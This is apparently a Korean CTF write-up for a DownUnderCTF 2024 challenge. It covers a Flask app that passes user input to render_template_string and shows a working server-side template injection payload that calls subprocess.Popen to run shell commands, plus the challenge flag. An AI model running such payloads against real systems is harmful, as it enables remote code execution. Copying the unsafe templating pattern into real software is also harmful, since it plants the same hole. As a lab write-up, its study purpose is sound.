
파일을 받아보면.

서버 폴더가 이렇게 있다고 한다.
안에 flag가 있다는 뜻.

사이트는 이렇게 생겼다.
app.py 코드를 보면
from flask import Flask, render_template, request, render_template_string
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def vulnerable():
chat_log = []
if request.method == 'POST':
user_input = request.form.get('user_input')
try:
result = render_template_string(user_input)
except Exception as e:
result = str(e)
chat_log.append(('User', user_input))
chat_log.append(('Emu', result))
return render_template('index.html', chat_log=chat_log)
if __name__ == '__main__':
app.run(debug=True, port=80)
핵심은 render_template_string인데... 해당 함수를 처음본다.
그래서 검색했는데
- https://velog.io/@hunjison/Flask-ssti-%EC%B7%A8%EC%95%BD%EC%A0%90
- https://www.igloo.co.kr/security-information/%EC%9B%B9-%ED%85%9C%ED%94%8C%EB%A6%BF-%EC%97%94%EC%A7%84-%EA%B8%B0%EB%B0%98%EC%9D%98-ssti-%EC%B7%A8%EC%95%BD%EC%A0%90-%EB%B6%84%EC%84%9D/
이 두개에서 {{ }}
관련한 취약점(Flask 프레임워크 관련)이 존재한다는 사실을 알 수 있었다.
공격 방식 또한 알 수 있었는데
{{"".__class__.__base__.__subclasses__()}}
로 서브 클래스의 목록을 출력하여
subprocess.Popen 클래스가 몇 번째인지 찾는다.

213번째임을 알 수 있다.
subprocess.Popen 함수는 첫 번째 참고자료에서 알 수 있었다.

{{ [].__class__.__mro__[-1].__subclasses__()[213]('cat flag',stdout=-1,stderr=-1,shell=True).communicate() }}
1번째 참고자료에서 작성된 페이로드를 약간만 수정하여 사용한 것이다.

그럼 cat flag 명령을 실행시키고 출력해준다.
flag는 위 사진에서 나온 것과 같다.
DUCTF{PaRrOt_EmU_ReNdErS_AnYtHiNg}
'CTF > DownUnderCTF2024' 카테고리의 다른 글
tldr please summarise (0) | 2024.07.07 |
---|---|
Intercepted Transmissions (0) | 2024.07.07 |